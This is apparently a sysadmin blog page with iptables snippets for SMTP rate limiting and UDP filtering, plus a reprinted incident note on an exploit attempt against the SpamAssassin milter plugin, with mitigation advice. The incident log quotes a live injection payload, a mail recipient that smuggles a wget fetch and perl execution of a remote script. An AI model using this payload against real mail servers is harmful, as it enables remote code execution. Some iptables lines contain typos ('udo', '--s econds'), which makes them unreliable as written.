Rack Admins

What if you have your own hosting and IP permanently blacklisted?
Procedure simply spam complaints from your customers?
How to solve this problem? Here to help iptables!

Enough to limit the attempts to send mail too often and write to these attempts to log:

iptables -A FORWARD -p tcp -m tcp --dport 25 -m state --state NEW -m recent --update --s econds 60 --hitcount 6 --name SMTP_LOCAL --rsource -j ULOG --ulog-prefix "Spam:" --ulog-nlgroup 2 --ulog-cprange 100

Next example: protect ssh and ftp from bruteforce attaks, smtp from spam and web from synflood & ddos

Read more…

Popularity: 11% [?]

This example block all UDP incoming packets except port number 27005.:

iptables -A INPUT -p udp --dport 27005 -j ACCEPT
iptables -A INPUT -p udp -i lo -j ACCEPT #You may ignore this rule
iptables -A INPUT -p udo -s 0/0 -j DROP

Popularity: 20% [?]

Observant reader Roy caught an interesting exploit attempt against his SMTP server. His review of the logs turned up this:

Messages rejected to recipient: root+:|wget
hxxp://www.linux-echo.de/.x/p.txt;perl p.txt:   smtp.target.com[10.11.17.18] : User unknown in local recipient
table; from=<blue@attacker.com> to=<root+:|wget
hxxp://www.linux-echo.de/.x/p.txt : 1 Time(s)

Handler Bojan notes that it appears that the bad guys have started to actively exploit SpamAssassin’s milter vulnerability that has been published last weekend (more details at http://archives.neohapsis.com/archives/fulldisclosure/2010-03/0139.html).

The perl script collects some information about the local host and tries to send it to 203.59.123.114 on port 80 — this host appears to be unreachable at the moment though.

Mitigation: There is a preliminary patch available at the SpamAssassin Milter Plugin project site, bug #29136: SpamAssassin Milter Plugin Input Validation Flaw Lets Remote Users Execute Arbitrary Code: http://savannah.nongnu.org/bugs/index.php?29136

Alternatively, don’t use the -x option when running this plugin, as well do not run it as root.

http://isc.sans.org/diary.html?storyid=8434

Popularity: 8% [?]